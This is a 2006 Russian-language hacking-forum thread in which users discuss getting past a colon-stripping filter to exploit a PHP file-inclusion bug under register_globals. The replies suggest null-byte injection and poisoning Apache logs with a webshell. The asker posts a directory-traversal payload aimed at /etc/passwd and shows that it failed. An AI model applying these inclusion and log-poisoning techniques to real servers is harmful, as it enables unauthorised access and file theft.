HOME FORUMS MEMBERS RECENT POSTS LOG IN  
× Авторизация
Имя пользователя:
Пароль:
Нет аккаунта? Регистрация
Баннер 1   Баннер 2
НОВЫЕ ТОРГОВАЯ НОВОСТИ ЧАТ
loading...
Скрыть
Вернуться   ANTICHAT > БЕЗОПАСНОСТЬ И УЯЗВИМОСТИ > Уязвимости
   
Ответ
 
Опции темы Поиск в этой теме Опции просмотра

register_globals
  #1  
Старый 12.12.2006, 18:36
Dmitro
Участник форума
Регистрация: 11.12.2004
Сообщений: 110
С нами: 11269766

Репутация: 34
Exclamation register_globals

Вопросик,
Сразу извиняюсь за тупось, но уже позабыл всё, давно ни чем не занимался..

register_globals на сервере позволяет передать переменную скрипту (ПХП)
Скрипт инклудит $userdir/index.html
я передаю скрипту userdir=http://site.com/
а скрипт чистит гдето так:
if (!isset ($userdir)) {............}
else $userdir=str_replace (":","", $userdir);

т.е. вместо http://site.com/ инклудит http//site.com/
(без ":")
как обойти?

П.С. переводить в урл двоеточие пробовал, естесссно не получилось..

П.С.[2] = Вторую ошибку нашел, что можно передать скрипту массив $error или элементы массива, но выводятся походу с помощью echo , Здесь только xss ?? или есть варианты?

Последний раз редактировалось Dmitro; 12.12.2006 в 19:02..
 
Ответить с цитированием

  #2  
Старый 12.12.2006, 23:04
DIAgen
Познавший АНТИЧАТ
Регистрация: 02.05.2006
Сообщений: 1,191
С нами: 10539746

Репутация: 1276


По умолчанию

Первое моно обойти просто подставя '%00'.
 
Ответить с цитированием

  #3  
Старый 12.12.2006, 23:24
c411k
Reservists Of Antichat - Level 6
Регистрация: 16.07.2005
Сообщений: 653
С нами: 10957346

Репутация: 2727


По умолчанию

Цитата:
Сообщение от DIAgen  
Первое моно обойти просто подставя '%00'.
причем тут ядовый нуль?
__________________
ПИУ-ПИУ...
 
Ответить с цитированием

  #4  
Старый 13.12.2006, 00:11
_Great_
Флудер
Регистрация: 27.12.2005
Сообщений: 2,372
С нами: 10721066

Репутация: 4360


По умолчанию

Цитата:
П.С. переводить в урл двоеточие пробовал, естесссно не получилось..
Это бесполезно, все равно апач раскодирует его перед передачей в пхп.
Хм, что тут можно сделать... а локальный инклуд не катит?
Инклудь логи апача, заюзай ядовитый ноль и запиши в логи апачу шелл
 
Ответить с цитированием

  #5  
Старый 13.12.2006, 10:48
Dmitro
Участник форума
Регистрация: 11.12.2004
Сообщений: 110
С нами: 11269766

Репутация: 34
По умолчанию

Пробовал локальный инклуд... и %00 не помогает
http://........./page.php?userdir=../../../../../../../../../../etc/passwd%00 - никак
даже там есть в папке скрипта файл, я его пытался заинклудить - никак...
page.php?userdir=log.dat%00
на что апач ответил:
Warning: main(log.dat index.html) [function.main]: failed to open stream: No such file or directory in /home/site.com/www/script/page.php on line 57
 
Ответить с цитированием
Ответ





Здесь присутствуют: 1 (пользователей: 0 , гостей: 1)
 


Быстрый переход




ANTICHAT ™ © 2001- Antichat Kft.